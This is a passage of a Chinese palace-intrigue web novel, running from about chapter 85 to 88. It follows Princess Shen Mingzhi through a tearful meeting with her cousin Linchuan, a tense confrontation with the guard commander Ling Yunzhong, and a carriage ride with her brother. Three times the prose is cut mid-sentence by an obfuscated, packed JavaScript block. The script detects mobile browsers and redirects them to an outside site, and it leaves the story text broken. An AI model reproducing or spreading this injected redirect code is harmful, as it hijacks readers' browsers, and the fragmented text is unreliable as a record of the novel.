步枝修腹诽,见沈明枳笑得表面上很欢快实际上很毛骨悚然地正凝视着他,他立刻移开视线,看见郇寰也很考究礼貌地注视他! “哦对了——”步枝修朝郇寰拜道:“贵部严侍郎也受了点小伤,好在并未……” 郇寰一挑眉。 严中立不是和介含清一道去寻葛宏才的晦气了么? 如果那样好脾气的严中立也被揍了的话—— 沈明枳自然不知道严中立和介含清的事情,但瞧着郇寰再度若有所思的模样,她试探着开口问步枝修道:“可还有别人受了波及?” 步枝修刚要开口,就从沈明枳的眼睛里看见正隐隐有一把大刀架在自己的脖子旁,顿悟自己说错了话,要补救也是为时已晚,只能硬着头皮糊弄过去逃之夭夭。 沈明枳顺势问道:“这案子怎么弄得这么大?” 郇寰还没来得及抓住脑海中那一闪而过的念头,就被人打断,于是凑到沈明枳耳旁淡淡回:“怕是有人搞鬼。” 沈明枳挑眉。 她坐着步撵从朝阳门出宫时,就有暗卫前来禀道:“殿下,临川郡主在极乐坊等您。” 沈明枳已经很久没有见到临川,也不知道她什么时候又从江西道回来了。她心里觉得奇怪,毕竟临川有事向来直接上门找她,况且她现在还在孝期,很不适合在那些酒肉地出现。她心里琢磨着临川会有什么事时,马车忽然急停,车夫的声音高高响起:“什么人胆敢拦兖国公主府的车架!” 沈明枳轻挑帘子,发觉车外晚霞如血,染透了半边天。朝阳门本就是正南三门中离京城西北角的极乐坊最远,因为有暗卫保护,车夫为了尽早到达,胆大地抄了小道,不想竟然遇上这种事。 月珰和冬儿还在宫里,所以沈明枳将公主府的护卫拨了一大半留在启明门外,另带了一小半随车护送,对方必然是瞧着他们人少,今日京兆尹、皇城兵马司的人手全在宫门附近巡逻,这荒僻小道人烟稀少,人家零落,正适合半路拦截杀人放火。 劫财是敢,杀人放火倒未必。 天子脚下,千秋佳节,这帮人看上去年纪轻轻书生打扮,却一身匪气,脑子是被门夹了,这么想不开来劫她兖国公主的车架。 还未等车夫最后一次警告,暗卫的剑都出了鞘,听得飞马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从仆从开口第一句的“士子”开始,沈明枳就对这样一场“英雄救美”的烂俗剧疑窦丛生。胆敢当街抢她的马车的人,决计不会是那些或多或少有了一点功名的士子。他们敢为了功名堵宫门、殴百官、伤皇子,但绝不敢平白无故拦她的马车,这只会让他们失功名、陷缧狱、断青云。而此人一开口就是士子抢劫,再借今日士子闹事作筏,自然而然地求得同行机会,这戏做得未免太过粗糙。 沈明枳不觉得自己有什么值得他们图谋的。她都成婚了,这种用来哄未出阁少女的法子用在她身上也太可笑,若想借势,这也绝非理智所为。 沈明枳暂且想不出因果,还是出言婉拒,让车夫绕路靖远门,大不了再迟一点。 本以为这就会是令人头疼的全部,谁知她艰难地上了楼,见了临川,更加头疼了。 临川的一双眼已经肿得成核桃,一见她来,归鸟回林般投到她怀里,又开始默默流泪。 “出什么事了?”沈明枳僵硬着脸上的笑,一步步略有痛苦地挪到了位子上。 临川不说话。 沈明枳扮住她的肩膀,垂首低眉去看她的眼睛,极其温柔地哄道:“怎么了?我来了你怎么又不说话了?” 临川的眼泪又掉了下来。 沈明枳叹气,“和凌云重有关吗?” 临川的眼泪滴滴答答漏个不停。 “他——他怎么了?” 临川摇头,温热的眼泪甩到了沈明枳脸上,留下清浅的一道痕迹。 沈明枳抬手抚去脸上的泪痕,又一歪头去看她藏藏掖掖的双眼,“那是怎么了?你不说我怎么猜得到呢?或者你只想找我哭一哭?那你哭吧,我就在这里……” 临川用袖子抹了一把脸,呜呜咽咽地开口,但没说完一个字,绷不住的眼泪瀑布似地流了下来。 沈明枳感觉衣领湿了一大片。 抽噎声中,她断断续续听见临川说:“鹇儿,我发现我喜欢他。” 沈明枳如遭雷击。 “他……他说他早就知道我监视他,故意让我把锦麟卫的消息漏出去,但没想到,肖执真知道了……肖老贼还知道了林云轻的存在!所以他……他为了保护我,带走了林云轻,故意向我发难,躲着我,与我恶交,就是要显示我们毫无瓜葛……就是不想让肖老贼伤害我……” 沈明枳懵在原地。 “现在肖老贼死了,他终于不用躲躲藏藏,所以……所以……” “所以什么?”沈明枳抱着她,许久才找回自己的声音。 “所以他说,他也喜欢我。” 沈明枳沉默了好久,这才耗尽力气拍拍她的背,“这是好事。” 临川哭得更凶,“但是……但是!” 86. 第八十六章 爱谓惧 “他让我——他让我离开你……不然,不然我就得离开他……” 沈明枳很混乱。 临川与凌云重的关系今非昔比了。 已经到了沈明枳也不清楚的地步。 往日胆敢有人这样让临川二选一,临川想都不用想先找人把那不知天高地厚的人揍上一顿,然后欢天喜地地再找下一个秀色可餐的猎物。现今,临川居然在痛苦。 她只不过一段日子没看住她,现在的局势就能让人感到恶寒。 她自问和凌云重没什么龃龉。 但她着实看不透凌云重此举。 难不成凌云重看出什么? 似有一滴寒泪裹挟着周身所有温度顺着脊梁渐渐滑落没入腰带,沈明枳脑海中只剩下“凌云重”三个冰冷彻骨的大字,一刀一刀地镌入清醒着的意识,这种随之而来逐渐加深的痛与恐逼得临川的低声啜泣与时不时蹦出来的二三字眼都不入耳,逼得她要割下这些短暂的柔情。 凌云重是整个皇家的大恩人,用锦麟卫指挥使的位子来谢他远远不够,所以圣上对他会有无尽的宽容,直到厌倦的那一天,凌云重的位子都将稳如泰山。 他唯一可能的把柄握在肖执真手中,但肖执真早被处以极刑。 他身在外地公干,却能在肖执真的严防死守中窥见被“请”入诏狱的鲁纯学,再由此联想出一场骇人听闻的宫变谋逆,又敢冒着生死大忌私自回京,孤身诠释“富贵险中求”这五个字用血是如何写就的。 这样的人,如若为敌…… 沈明枳不敢往下想。 忽然,精疲力尽的临川闷闷地说了一句:“鹇儿,我只有你了。” 又如一道惊雷滚过,沈明枳愣在原地。 她收起思绪,垂眼看见自己抱着她的双手手背上腾起的青筋。她忽然感觉自己被压迫得难以呼吸,眼前的天地都在旋转,八方的声音都渐平息。待到温度重新温暖周身,被拉扯的魂魄安然归位,眩晕如同一闪而过的流星,訇然坠入原野,在天际留下一道渐散的银痕。 银痕之中流下了血,间或夹杂着泪。 这就是临川的选择? 我只有你了。 开什么玩笑。 沈明枳扯出笑容,用温柔掩饰颤抖嗓音中的恐惧:“怎么会,你还有姑母,你还有张仪宾,还有子女——” 她觉得“庶”字太刺耳故而略去,结果更觉得“子女”二字扎心,一时间也不知补救,只慢慢没了声音,有些担心地看向埋首怀中的临川,钗环珠翠,青丝叠翳,怯弱的神情恍惚间好像若干年前,稠黑荒草中痛苦的少女。 当年的少女长大成人,脾气更乖张,性子更顽劣,但沈明枳看来却丝毫未变。 她待自己的心,始终如一。 旁人叫这个是受宠若惊,她叫这个叫恐惧。 这就是无边恐惧的源头。 这个傻姑娘。 沈明枳轻轻拍着她的背,就像多年前那样,哄着一个比自己还要大几岁的少女,安慰她的痛苦,驱散她的恐惧。分明自己比她还要娇气几分、怕几分、慌几分,那一刻却扮成了假大人。 “淑气。” 时隔多年,沈明枳第一次叫她的名字。临川朦胧着眼抬起头,离开沈明枳的怀抱,像是一个犯错了的孩子、一头失怙的小兽,安静地跪坐在矮榻上,听此生最为依赖的人的训诫。 见她这个模样,沈明枳铁筑的心都熔了,凌云重也狠得下心提刀相向。 沈明枳明白了。她按了按眉心,问道:“你知道他为什么这么做吗?” 临川知道,沈明枳从她躲闪的目光中洞察了一切,但她却说:“因为他嫉妒。” 沈明枳不知道自己是怎么从这个温柔陷阱中逃出生天的,当她浑浑噩噩地摸索下车时,发觉今夜的公主府前挂着两盏璀若银轮的羊角灯,将这一条冷凄的归路照得温暖彻亮。 灯在她微白的一张的脸上洒下柔和的流光,但她觉得分外刺眼。 那遁藏于黑夜的恐惧再度爬上心头。 月珰早已命人准备软撵候在门房,屋中梳洗的水也温度正好,郇寰书房的灯光如故照耀。他听见动静,收了笔,合起文函,持烛推门而出。 他藏起所有的不愉,展现给沈明枳的一张脸竟然耀如金乌。 久久藏匿在心中不知名角落的恐惧,彻底曝露于光天化日。 沈明枳给了所有人一张虚弱的笑脸,然后逃回了私密房间。 命令所有人退下、房门合上的瞬间,她终于绷不住,抬手捂住了眼睛,不去看自己的残疾。 要见凌云重一面很不容易。沈明枳命暗卫在凌云重出没的各处把守,好不容易逮到机会约上了时间,借了与临川相会的名头,在极乐坊等人。 结果见面的第一个举动,就是凌云重默声跪了下来。 他的心腹将这间屋子围成铁桶,但他的声音依旧小心地低沉下来:“臣凌膺,拜见兖国公主。” “本宫现在当不起指挥使大人的这一跪,您还是快些起来吧。” 凌云重听得出沈明枳的语气远不如从前亲厚。 他站起,没一会儿,再度下拜:“罪臣凌膺,拜见长平公主。” 沈明枳讶异,被他这一句话搅乱了心思,堪堪冷静下来后问道:“凌大人这是做什么?” 他抿唇,长长的唇线条锐利,如同一柄绣春刀。但他现在没有配刀,就连所有防身的暗器都早在进门的时候清理干净。他现在很有罪臣的样子,但一身皂衣下的永不弯曲的脊梁,却直直地戳到人眼前,将他的不甘不屈不服晾衣裳似地漏落开来。 沈明枳没有叫他起来,他跪着不动。 终于在沈明枳濒临爆发的边缘时,他开口:“癸卯年,罪臣凌膺供职东宫长缨卫指挥使韦鑫麾下,受上命奉送器物入东宫,呈至故太子案上。臣,罪该万死。” 沈明枳用口吻的冰冷冷却血液的沸腾:“恪尽职责,何罪之有。” 凌云重嘿然不语。 沈明枳松开袖子下攥紧的拳头。 她更加明白,为什么凌云重要逼临川离开自己。 她,行的是大逆不道事,杀的是位高权重人,报的是不见天日仇,做的是虚无缥缈梦,骗的是至亲至信情。临川只是她的一把刀,刀折了,就废了,哪怕这是一把铸了半生、磨了半生的刀,该弃之时,即弃之敝履。 但凌云重高估了他在临川心里的地位又低估了沈明枳。 沈明枳无法继续这个话题,故而宕开一笔,问他:“你怎么发现我也参与其中的?” “其中”必然指为故太子复仇一事。 凌云重答得利索:“公主适郇海山。” 沈明枳轻轻摇头,嘴角的笑不是在嘲讽他而是在嘲讽自己,“你怎么发现我在利用她?” 凌云重:“漉水赝品。” 即便兖国公主假造漉水红瓷一案攀诬诸多朝臣是为了转移视线,是为了救都督陆微,但下场帮她做局、入局搅弄混水、出局被拖累的人全都是临川郡主;即便某日东窗事发,不长眼的人要大做文章,都不会牵连到兖国公主丝毫,临川郡主是唯一的替罪羊。 就从临川郡主代人受过的从容模样和他后来对她的深入了解,这样的事情,应当还曾有、还会有很多,甚至她明知对自己百害而无一利,还会欣然应诺。 这恐怖的,情感驾驭。 凌云重抬眼看向端坐沉思的人,面无表情,甚至有几分无奈的笑萦绕在唇角。 沈明枳察觉到他鹰隼般的目光,斟酌了片刻,坦然问道:“你喜欢她。” 没有一丝迟疑,凌云重回答:“不是。” 这出乎意料的两个字让沈明枳的眉头蹙起,几乎是下意识地想起了郇三娘和楼复,那段充满利用阴谋的青□□恋。 凌云重猜得出沈明枳此时心思,补充道:“我爱她。” 沈明枳这一瞬好似不会呼吸。 这是一句很陌生的话,一个很陌生的字眼。但陌生之中的熟悉感就如同童年欢乐的记忆一样,扑面而来,久久不散。 她扶额:“有区别么,于你来说,都是占有。” 凌云重不意外她会这么问,但不认为需要他一个外人来向这位高高在上的公主解释“喜欢”与“爱”之间那些天壤之别。 沈明枳的目光凝在他的脸上,久久等不来回应,但心里隐约有一个声音在告诉自己,她沈明枳知道此二者之间的区别,并且很早就知道,早在她发现齐珏对大姐姐细心呵护的感情肆无忌惮时、早在她发现自己很喜欢崔选侍和朱先生时、早在她发现她养的雀儿突然死时。又直到临川突然找她的那夜,她知道了自己会喜欢,但不会爱。 她是个残疾人。 她竟然是个残疾人。 一个不会爱的残疾人。 她不能直视临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861986|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川的眼泪,也不能直视添在门口的羊角灯。 她感觉无形中握住她脖颈的手慢慢收拢,她在剧烈喘息着,但在凌云重看来,她死水无澜。 她忽然一笑,“你这是将刀给到刽子手,软肋暴露在青天白日。” 凌云重弯下身子,低下头,引颈就戮的模样。 平白牵扯入谋害故太子之中,这样的把柄,能让他永远为自己像为肖执真一样驱驰;他爱的临川自愿呆在她亲手搭建的牢笼,这样的软肋,能让他永远忠心。他不仅将个人性命交到了她手里,还将整个锦麟卫的权柄都无偿奉送。 这可比难搞的窦宇和他难缠的阴阳卫,更加划算。 瞧,现如今,她还在算计,算计临川的感情。 她果然不会爱。 沈明枳又一笑,“你有什么条件。” 凌云重:“放了她。” 给她的心以自由。 “你知道,你其实没有资格与我谈条件。” 凌云重默认。 “但我,大发慈悲。”沈明枳自嘲。 凌云重依旧沉默。 “但这个条件我不能答应。” 凌云重骤然抬头,那一阵劲风直扑面颊,彷如在质问她:为何连虚伪应承也不愿意!沈明枳明面答应,暗地如旧,毕竟感情这个东西,太玄虚了,不是想操控就操控的,就像他凌膺从未想到自己会爱上像临川郡主这样放浪肆意的人。 沈明枳也理解他的暴怒,理了理袖子,用这样的漫不经心掩饰自己的失落:“因为我做不到。” 这一句余音不绝,似是每次回忆旧事前那出窍的袅袅一缕神魂,连带着目光也变得格外悠远绵长。 “你知道临川郡主不能生育么?” 凌云重皱眉,却不是愁与怨,是说不出的震惊,随即转变为愤怒。想也不用想,若非天生,那就是为了一个该死的男人在后宅中备受折磨。 “这是一个秘密。” 圣上还只是兖王时,鲁国长公主为了替兄弟笼络臣心,嫁权倾一时的首辅吕蘋调当续弦。吕蘋调大了鲁国长公主整整二十岁,有三子四女,多房美妾,尤宠其中一个叫翠娘的女人。 鲁国长公主从小就是众星捧月宠着惯着长大的,骄纵比长乐、长宁有过之而无不及,嫁了吕蘋调后却安安静静地在后宅看家,善待继子继女和难缠的妾室通房,堪称典范。 圣上登基前一年,鲁国长公主怀上了临川,差点难产。后来圣上登基,鲁国长公主做的第一件事情就是提剑杀了害她母女的翠娘。随后吕蘋调去世,吕蘋调的儿女因着各种各样的事故接连丧命,据传,吕氏一门的死都是鲁国长公主的手笔,朝中不乏有人攻讦此事,但都被根基尚未稳固的圣上压了下来。 等梅痴绝登上首辅之位,鲁国长公主便大肆豢养面首,不算高调,但人尽皆知,又被谏官参了一本,圣上又压了下来,又封鲁国长公主的女儿为临川郡主,又去原姓赐国姓。 据说,鲁国长公主在嫁前就向圣上提了两个条件,一是一朝御极灭吕氏满门,二是此后允她随心所欲。前者,即便长公主不提,圣上也会这么做;后者,只要长公主不越权的雷池,要钱给钱,要体面给体面,要高兴给高兴。 这样的母亲养出来的女儿,可想而知,就是鲁国长公主的翻版。 小时候的沈明枳和临川很不对头。 沈明枳虽也贪玩,却是在无数的分寸之中撒欢,临川则不然。 彼时她最亲近的莫过于已如愿以偿嫁给齐珏的宣国和尚且年幼的长宁,最爱做的事情就是和她们一起挑战各样不能碰的底线,动各种动不得的土,捅了篓子,宣国和长宁就推她出来,她也很得意自己特殊的身份能摆平一切麻烦和让她得到宣国、长宁两姐妹的瞩目。 当年沈明枳问梅如故,怎么会有人上赶着当冤大头的,梅如故认真想了会儿,回答说:大概是傻吧。 沈明枳举双手赞成。 她不是个好事的人,见了临川她们三个就绕道走,免得多生事端,尤其是在手上沾了朱先生和崔选侍两条人命过后,她发誓自己再也不会没事找事。 所以,当那天傍晚皇后娘娘风寒,她主动请缨去太医院为娘娘拿药,回来时看见一个宫女在无人处往一碗香喷喷的甜汤中加入些奇怪粉末时,她心里一惊,吩咐跟随她而来的宫女先提了药回去,想了想,觉得自己应该视而不见地随宫女一起回去。 87. 第八十七章 沈淑气 但她还是提了灯悄悄跟了上去。 这碗药食同源的汤并着一些糕点本都是要送往当时怀有身孕的罗美人处。半路上遇见了玩耍的长宁和临川,随后沈明枳不知道她们说了什么,临川就接过了盘子,和长宁一起高高兴兴地去给罗美人送东西了。 在半路上长宁被小石子绊了一跤,于是送东西的重任就全交给了临川,风风火火地领了一干宫女往罗美人住处去了。 沈明枳觉得自己很没有必要前去。 她人虽不大,但宫里这些阴谋阳谋见了不少,心思也远不如宫外这个年纪的小姑娘单纯。她曾听过梅如故不经意地和太子长兄嘟囔过一句,说是什么宫里的皇子太多,纵然你不想害他们,他们长大了也未必不会害你云云,太子长兄虽然斥了他,但沈明枳观察他的神情,他打心底也是赞同的。 所以,她邪恶地想,罗美人失了孩子,临川捅了泼天大祸吃了教训,简直是两全其美的好事。 于是她打道回府。 但这件事一直像块石头压在她心里,简单地用完晚膳,她就一个人去御花园里散心了。 走到一处假山石堆成的花草洼地时,她忽然听见了呜呜咽咽的哭声。 是临川。 她的脚踝流着血,面白如纸,嘴唇上一点血色也无,只捂着肚子,冷汗直冒。一见沈明枳提灯踏月而来,她眼里积蓄的眼泪决了堤,声音沙哑地叫救命。 沈明枳感觉流血的不是她的脚踝,而是自己的心。 她有愧疚,但她竟然还有幸灾乐祸。 “我背你去后廷署。”想让自己心里好过一点的沈明枳将灯安放在石头上,蹲下身就要去抬她,她受惊似地挥开沈明枳的手,沙哑着嗓子说不出一个字,用尽这一点力气后,连摇头拒绝也不行。 “怕我摔了你,那我去喊人过来。” 临川扯住她的裙摆,那双常常充满了昂扬神采的眼睛正在泪水迷蒙中恳求她,恳求她不要留下她一个人,她害怕。 沈明枳一咬牙,心里虽然在一片自责声中骂骂咧咧,但还是将傀儡似的临川背到了背上,拿了灯,一脚深一脚浅地在夜晚中凭记忆找去太医院后廷署的路。 期间摔了一跤,好在路上遇见了羽林卫,纵然临川再不想让人知道,快要被累死的沈明枳还是向羽林卫求助,送她们去后廷署。 太医院在外皇城,这个点内城落钥,根本无法出宫,唯有去内城的太医院后廷署,让里面的内监和医婆帮忙往外皇城递条子、帮忙看诊,等天一亮再宣召太医。 临川这个丫头,竟然以为自己快要死了,还恳求她不要惊动帝后和太医! 沈明枳没管她的哀求,当机立断,让人去东宫报信,通过东宫去外城请太医。 侍药内监和医婆对缓解临川的痛苦没有半分作用。等太医的那一个时辰,是沈明枳良心最煎熬的一个时辰。 后来太医来了,太子、太子妃来了,帝后来了,临川还是痛了一夜,天逐渐亮起来后,她才逐渐睡了过去。 沈明枳在太子怀里也哭了一夜。 但她还没有吐露自己看到的事情时,那个下药的宫女就被抓了起来,指使宫女下药的另外一个什劳子美人被揪了出来。那美人一直说自己是冤枉的,但没有人听。 沈明枳莫名相信那美人几分,就恳求太子,太子没法子,只能让太子妃梅问香去诈一诈那个宫女,结果就诈出了真正的幕后主使寇妃。 寇妃绑了那宫女的的老子娘兄弟姐妹,以此要挟,梅问香骗她说今夜哪里哪里平白横死了一家人,叫什么什么的,家里有一个女儿在宫里当差,你若不信,可以等天亮了送你去见他们的尸首云云。 那宫女什么都招了,还说上头的娘娘本就计划着趁着今天临川郡主在宫里的机会,要让临川去送东西,杀杀那对跋扈母女的威风,小孩子一骗就信,谁料长宁小公主也要跟着,于是她就让长宁小公主摔上一跤,免了祸事。 然后罗美人看见临川郡主来送东西,即将为人母心里慈爱泛滥,又瞧着郡主喜欢那甜汤,就呈了点汤和点心每样各拿了点送给郡主当零嘴,而罗美人因为脾胃不佳,并没有喝那碗汤。 沈明枳深深吐出一口气,在凌云重波涛汹涌逐渐平息的注视下,执了桌上的茶壶斟了两盏茶。 “从现在起,你也要保守这个秘密。” 沈明枳又叹息:“她这几天哭得很伤心,你想办法去哄哄她吧。” 凌云重张张嘴,找回自己的声音后,应了一声。 ** 极乐坊不愧为化隆第一酒肉场,随便一个司茶送酒的婢女都别有一段脉脉风情。 那女子如同染了一身红水的美女蛇,抬眼与沈明枳对视瞬息,让如龛中鬼神肃穆的公主,有一种近心抹了金漆的肌肤被轻轻蛰了的感觉。她向来对美没有敌意只有欣赏,对这样的美更谈不上嫉妒,一种别样的酥麻自“伤口”直蹿入里内,让一个女人都被麻痹、为之驻足,全然无法细揪她轻轻撞上自己肩膀时,看不见的地方有着怎样的动作,何谈男人。 沈明枳刻在骨子里的自持容她下意识地扫了一眼她端的漆盘上罗列着的酒壶,几只新丰和碧光被乌泱泱的武陵春排挤到角落。但就是这样剑拔弩张的“酒局”,在这女子水葱似的手指下,巍巍安稳如同静置棋盘,扎壶口的红丝绦都垂垂不动。 “失礼了。” 这个地方不是权贵就是豪富,来去自若的女人不是贵人就是妓人。这女子在五分从容之中略漏出五分畏怯,畏怯是对高自己一等之人的敬和讨好,从容又不让人觉得她低微至泥底尘埃,身段窈窕而别有洁致,再加上莺啭似的嗓音,浑然就是濯清涟而不妖的水仙,让人都不忍对这样的一朵花儿发火。 沈明枳下意识地微一颔首,就此利索地收回目光,褰裙继续下楼。忽闻一声呵斥从镂空雕花栏杆下传来,就见一队华光闪闪的年轻公子正从拐弯而上的楼梯拾级走来,为首的正是晋王沈明戒。 “爹娘给你一双手,不会用就别用。” 一身紫棠色如意纹圆领袍服被腰间一条螭龙纹白玉带扣住,本是十分的少年锐气此时都化作了势不可挡的戾气,其间再沾染上皇家睥睨的贵气,这个挺拔少年人的呵斥都变成秋后法场上的震震杀气,让无意路过的人、做贼心虚的人、大观热闹的人都为之觳觫。 沈明枳脸染上了一点生气,微笑着走下至沈明戒所立的台阶,他却是领着身后的辛喾、卿澄等人朝沈明枳行礼,随后沈明枳豢养的暗卫之一、拨至晋王府随护左右的护卫长不周在沈明戒一个眼风下立即从一旁冲了过来,几步揪住了那趁乱要逃走的女子,右手的食指和拇指捏着那女子的手腕,轻轻一转,在一声吃痛的娇呼、稀里哗啦一地碎声之中,一只雌霓红、淡茜红、合欢红、蓟粉红等交错揉杂编织而成的荷包从纤纤玉指护着的袖口滑落,正落入不周的手中,一对长流苏自指间垂落,穗子的缠绕似是在控诉这一番的波折风波。 沈明戒郑重接过荷包递与沈明枳,不用他再发怒,已经冷滞到极点的局面被各种奚落打破:“不是吧,连极乐坊都能出这样手脚不干净的妓子!” 辛喾身边站着的一个脸生的儿郎掩唇讥笑道:“我看极乐坊就改名叫‘妓乐坊’吧,一个下贱的胆敢偷皇家的玩意,真是爽上天无法无天了。” 卿澄顺势对匆忙赶来的掌柜笑道:“一个妓女的自然是不敢的,必然是有人背后指使才给了她这熊心豹子胆。” 掌柜连连冷汗却狠厉地剜了手下一个擦脂抹粉的中年女人,这中年女人反手就是一个耳光甩在了那女人脸上,那女人被这力道打得摔了过去,待颤巍巍转过脸时,那瓣右颊肿得已有馒头厚。 中年女人显然是老鸨类的角色,一开口仍有三分风韵,但此时已经顾不得体面,梗着脖子叱骂不止,逼着那女人交代背后主使。 “是……是二楼荷风居的何公子。” 沈明枳的目光从那有碍观瞻的失色花容移到了身后雕栏画栋的二楼一处敞开房门的包厢,顺着众人的指点声,第一次认清正凑在栏杆旁勾着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876431|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壶酒笑盈盈隔岸观火不慎引火烧身的年轻男子,正是何卓远的孙子何施臣。 辛喾冷笑道:“原来是小何公子,那就情有可原了。” 何施臣笑:“误会误会!” 沈明枳一下就听出,何施臣就是那夜自导自演一出英雄救美实则漏洞百出自以为是的人。 卿澄道:“若这也叫误会,那天底下就没有误会了。” 沈明枳不欲与之有任何纠缠,又怕把晚几刻错开再走的凌云重引出来,侧过脸稍稍抬头看了一眼沈明戒,他竟也全神贯注于自己,立刻理会其中意思,蹙了眉对身边与何施臣对骂得起劲的人低声交代了几句,就在一众喧嚣中亲自开了路引沈明枳离开。 沈明枳由他扶着上了马车,坐定后却见他踟蹰,笑问:“你还要骑马么?不与我一起坐着说说话?” 沈明戒当然想进去,但他是才和一众人上林秋猎回来的,身上一股汗味土味怕熏到沈明枳,赧然拒绝道:“身上有味。” 沈明枳一笑,将他拖了进来,帘子落下的瞬间,淡淡问道:“怎么想到去打猎了?嗯?” 沈明戒心下一颤。还未除丧就高调地秋猎游乐,必然要被参上一本,他有分寸,本不怕这个,更何况是九哥拉他一起来的,怪罪下来也有秦王顶着,但现在被沈明枳一问起,他顿时生出几分忘乎所以过后的惭愧。 “九哥拉我一道,我就来了,戒子确实做的不对,请阿姐责罚。” 沈明枳只叹自己被这小子拿捏住了,看见他这副柔顺模样就于心不忍轻轻揭过,结果她这个质问的人反倒要抚慰沈明戒这个犯错的人,这让人哭笑不得。 沈明戒逐渐说得很欢,说到在务本门遇见了自扶风郡公干回来的郇寰,沈明枳狐疑地打断他:“除了郇海山还有谁?” 沈明戒道:“我正要说呢,还有都察院的介大人和大理寺的骆大人。” 沈明枳挑眉再问:“你们打完猎直接从务本门回城不就得了,离王府还近,怎么又绕到靖远门往极乐坊去了?” 沈明戒扬唇一笑。 上林游猎自靖远门归最是方便,但当时猎着猎着,秦王就追着一只野獐不放,一只纵马驰骋到了务本门附近堪堪放弃,他们都觉得稀奇有趣,更不乏年少轻狂的心里骂秦王废物,谁知笑了没两阵就见不远处官道上一列兵马缓缓而来。 沈明枳听得心里发笑,又听见他说,遇见郇寰时老九还以妻舅对妹夫的口吻,说了几句见郇寰一张冷脸,一下子觉得没意思,就找一旁默默不语的介含清和和蔼可亲的骆栩说话去了。其间还提到他们打了不少猎物,要送给几位大人尝尝鲜,见者有份,郇寰的脸更黑了。 沈明枳倒是笑得很高兴。 “他叫你把你猎得的东西送给郇海山?” 沈明戒点头称是:“但姐夫没要,说阿姐你不喜欢这些野味。” 沈明枳扬眉,表示对郇寰这番措辞很稀奇,但也没有就此追究:“这与我喜不喜欢没什么要紧,要紧的是,这叫行贿,他不能收。” “介大人不收是情理之中,姐夫怎么就不能收了?” 介含清是御史,手下一帮年轻谏官常常爱揪着秦王、晋王这儿那儿的不放,作为头头的介含清如果收了东西,这算什么事?下属要造上司的反么? 至于郇寰。 “你们当着刑部、大理寺的面向都察院“行贿”,转头刑部、大理寺又收了你们的东西,可不就成了封口的同流合污。即便从姻亲角度,他是亲戚,但他一身官服就意味着公事公办法不容情……” 说着说着,沈明枳忽然觉得哪里不对劲,一琢磨,再向沈明戒确认到:“老九让你先送然后他再送的?” 沈明戒也觉得有些不对,但说不上来,只是点头。见沈明枳面色一凛,沈明戒心下更是一片阴霾,有些惴惴地轻捏起了拳头,竖起耳朵打算听一番,结果沈明枳只是沉默地思忖了片刻,冷冷道:“你是小舅子通过姐夫送东西给姐姐,那他就是准妹夫通过大舅子讨心上人高兴,好算计。” 88. 第八十八章 姐弟话 老九对介氏兄妹的殷勤沈明枳是看在眼里。因着他亲王的身份和介含清御史的身份,他很小心,很不露痕迹,以至于除了像沈明枳这样蛛丝马迹都不放过再加上些大胆猜想的,其他少有知道的。沈明枳也乐得看他一番苦恋,也本着宁拆十座庙不毁一桩婚的想法,若哪日败露情迹她或可到圣上面前为他说好话、借郇寰的脸面向赵王替他求情,也算全了他们兄妹这么多年来的情分。 老九如何会不知道戒子对她意味着什么,教戒子的一番作为又意味着什么,可他明知故犯别有肝肺,那也不能怪沈明枳心狠手辣。 沈明戒的心一直吊起,他很聪明,一下就听懂了沈明枳话中调笑之外的深意,心里虽然纳罕,但阿姐的话他最听的。 自从秦王摔断腿免了南巡一趟鬼门关后,阿姐就对九哥不负责任的行为心有不满,但对自己与九哥一起交游并不反感。这一瞬,他才真正感觉到,阿姐生气了。 沈明戒岔开话题:“对了阿姐,那何施臣行事无边无际,可有曾打搅过阿姐?” 沈明枳理好笑容,“我瞧着你们和他很不对付?” 沈明戒扯扯嘴角。化隆的纨绔也分派别、也有规矩的,像何家年轻的子侄,自西南杀入这繁华场,坏了规矩不说还自立山头目下无尘,闹事动手一点也不谦让,和辛喾他们几个干了好几场架,亏得京兆尹被士子闹事的案子缠得脱不开身,他们才没到公堂上动家伙,不是恶交,是已经结仇了。不过他沈明戒听说郇家祖上和何氏沾亲,郇寰也亲自去何府拜访过,他好歹顾忌着沈明枳的颜面,与何家子侄没撕破脸来。 沈明枳也猜得到其中原委,便更不能把何施臣那番自导自演说出来激化矛盾。 “申国公府与何家结亲,辛喾闹得太过她姐姐面上也无光,你帮着劝着点。” 沈明枳这一番隐晦的劝告沈明戒心里门清,他们与何家子侄闹得太过,不利于以后化隆上下的和平共处:何家的话事人何卓远此番回京竟没有在兵部挂职,他曾听秦王说圣上打算给何家封侯就此留在化隆,以后抬头不见低头见的,关系确实要处好。 但这口恶气真是! 沈明枳将他的手拉过来放在自己膝头,在指腹发现了长时间拉弓后的血迹。这一举动让沈明戒骤然惊醒,心里所有的计算都转瞬即逝,全心全神的只有沈明枳的手指和自她袖中飘散出的若有若无的清香。 阿姐不常佩荷包,熏香也少。 “阿姐今日怎么佩了荷包?” 沈明枳一愣,松开他的手从袖中取出那枚荷包,“前些日子找出来,许是觉得和我这一身衣裳颜色般配。” 沈明戒笑:“十分般配,衬得阿姐好像是十四五的闺阁小姐。” 沈明枳笑着挑眉。 